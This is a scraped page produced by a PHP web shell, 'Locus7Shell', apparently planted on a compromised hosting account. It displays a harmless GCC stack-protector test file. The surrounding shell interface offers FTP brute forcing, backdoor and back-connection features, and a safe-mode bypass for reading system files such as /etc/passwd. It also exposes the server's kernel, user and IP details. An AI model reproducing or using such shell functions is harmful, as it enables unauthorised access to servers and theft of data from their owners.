Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     fstack-protector-strong.C (1.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test that stack protection is done on chosen functions. */

/* { dg-do compile { target i?86-*-* x86_64-*-* } } */
/* { dg-options "-O2 -fstack-protector-strong" } */

/* This test checks the presence of __stack_chk_fail function in assembler.
 * Compiler generates _stack_chk_fail_local (wrapper) calls instead for PIC.
 */
/* { dg-require-effective-target nonpic } */

class A
{
public:
  A() {}
  ~A() {}
  void method();
  int state;
};

/* Frame address exposed to A::method via "this". */
int
foo1 ()
{
  A a;
  a.method ();
  return a.state;
}

/* Possible destroying foo2's stack via &a. */
int
global_func (A& a);

/* Frame address exposed to global_func. */
int foo2 ()
{
  A a;
  return global_func (a);
}

/* Frame addressed exposed through return slot. */

struct B
{
  /* Discourage passing this struct in registers. */
  int a1, a2, a3, a4, a5, a6, a7, a8, a9, a10;
  int method ();
  B return_slot();
};

B global_func ();
void noop ();

int foo3 ()
{
  return global_func ().a1;
}

int foo4 ()
{
  try {
    noop ();
    return 0;
  } catch (...) {
    return global_func ().a1;
  }
}

int foo5 ()
{
  try {
    return global_func ().a1;
  } catch (...) {
    return 0;
  }
}

int foo6 ()
{
  B b;
  return b.method ();
}

int foo7 (B *p)
{
  return p->return_slot ().a1;
}

/* { dg-final { scan-assembler-times "stack_chk_fail" 7 } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--